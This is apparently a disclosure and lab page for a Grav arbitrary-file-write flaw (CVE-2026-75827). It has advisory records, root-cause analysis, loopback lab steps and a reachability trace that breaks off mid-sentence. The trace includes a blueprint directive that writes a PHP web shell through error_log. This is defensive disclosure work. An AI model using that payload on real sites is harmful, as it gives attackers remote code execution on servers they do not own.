
Proof-of-concept and lab for CVE-2026-75827, a Grav arbitrary file write via Blueprint dynamic-data error_log, with reproduction script and Docker lab.
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grav 2.0.13 — getgrav
Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the error_log function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.
| CVE | CVE-2026-75827 · CVE.org |
| CWE | CWE-94 |
| CVSS | High: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Product | grav |
| Affected | all versions through 2.0.13 (inclusive) |
| Patched | 2.0.15 and later |
| Auth | none (see source map) |
| Lab | 127.0.0.1 only · vendor/client disclosure pack, not a scanner |
Arbitrary file write is error_log via data-options@ in a form blueprint, not an upload action=. HTTP is GET /poc-form then GET /poc-witness.txt.
GET/poc-formLab seed: admin user + Form plugin + page 03.poc-form with data-options@: error_logGET /poc-form → Form::getBlueprint() → Blueprint::dynamicData → isSafeDynamicCall('error_log') true → error_log(witness, 3, poc-witness.txt)GET /poc-witness.txt → POCWitness75827GET /poc-witness.txt body contains POCWitness75827. Home HTML or empty 404 is not the file-write witness.
Do this first: Update grav to 2.0.15 or newer.
Verify after upgrade
CVE-2026-75827-Abraxas-Labs.py against the patched build: the mapped witness must not appear.If you cannot update immediately
Target only http://127.0.0.1:8088 (or the loopback you bound). Do not point this script at the internet.
python3 CVE-2026-75827-Abraxas-Labs.py
Success is the witness above in the response body. Generic 200 HTML is not it.
Loopback stack used to reproduce. Official images unless a Dockerfile in this folder builds from source.
cd lab
docker compose up --force-recreate
Bind the vulnerable product tree next to Compose if the YAML mounts a local directory (plugin zip / source tag from the version table). Publish nothing except 127.0.0.1.
# CVE-2026-75827 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-75827`
- CWE: CWE-94
- published: 2026-08-18T12:19:32.553
## NVD description
Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the error_log function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.
## MITRE description
Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the error_log function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.
## Affected
- getgrav grav 0 affected, 2.0.15 unaffected
- OSV:
## References (JSON sources only)
- https://github.com/getgrav/grav/security/advisories/GHSA-f8wv-xp27-6gq7
- https://www.vulncheck.com/advisories/grav-before-arbitrary-file-write-via-error-log
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/75xxx/CVE-2026-75827.json
- https://nvd.nist.gov/vuln/detail/CVE-2026-75827
- https://github.com/advisories/GHSA-f8wv-xp27-6gq7
## GitHub advisory
Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write
## Affected versions and vulnerable location
- Confirmed on grav core at `78ebfc1` (tag 2.0.13).
- Sinks:
- `system/src/Grav/Common/Data/Blueprint.php:455-458` `call_user_func_array($o, $params)` (bare-function dynamic-data provider).
- Twin: `system/src/Grav/Framework/Flex/FlexDirectory.php:936-938` `call_user_func_array($function, $params)`.
- Validation gate: `Blueprint::isSafeDynamicCall()` at `Blueprint.php:514-536`.
- `Class::method` branch (`:514-527`) uses a strict positive allowlist `self::$allowedDynamicCallables`.
- Bare-function branch (`:530-534`) uses only a denylist: `if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);`.
- Denylist: `Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`, list around `:2020-2270`).
## Root cause
GHSA-7pgq/CVE-2026-64850 hardened the `Class::method` half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (`isDangerousFunction`). Any bare PHP function not on that list executes.
`error_log` is not on the denylist (verified: no occurrence in `Utils.php`). `error_log($message, 3, $destination)` appends attacker-controlled `$message` to attacker-controlled file `$destination`, an arbitrary-file-append primitive. `paramsContainDangerousCallable()` (`:587-603`) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (`stream_socket_client`, `dl`, and `mb_send_mail` are likewise absent, giving SSRF/other primitives.)
## Attacker model
The same surface the published dynamic-data advisories accept as reachable: a `data-*@` directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a `data@` field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.
## Reachability trace
1. Author a blueprint field with a bare-function data directive, e.g.
`data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php']`.
2. `Blueprint::init()` resolves the directive; `isSafeDynamicCall('error_log', $params)` reaches the bare-function branch (`:530`), `isDangerousFunction('error_log')` is false, `paramsContainDangerousCallable([...])` is false (no callable strings),
This pack is for the vendor, the site owner, and licensed labs. The script talks to 127.0.0.1. Using it against systems you do not own is not authorized by Abraxas Labs. No warranty.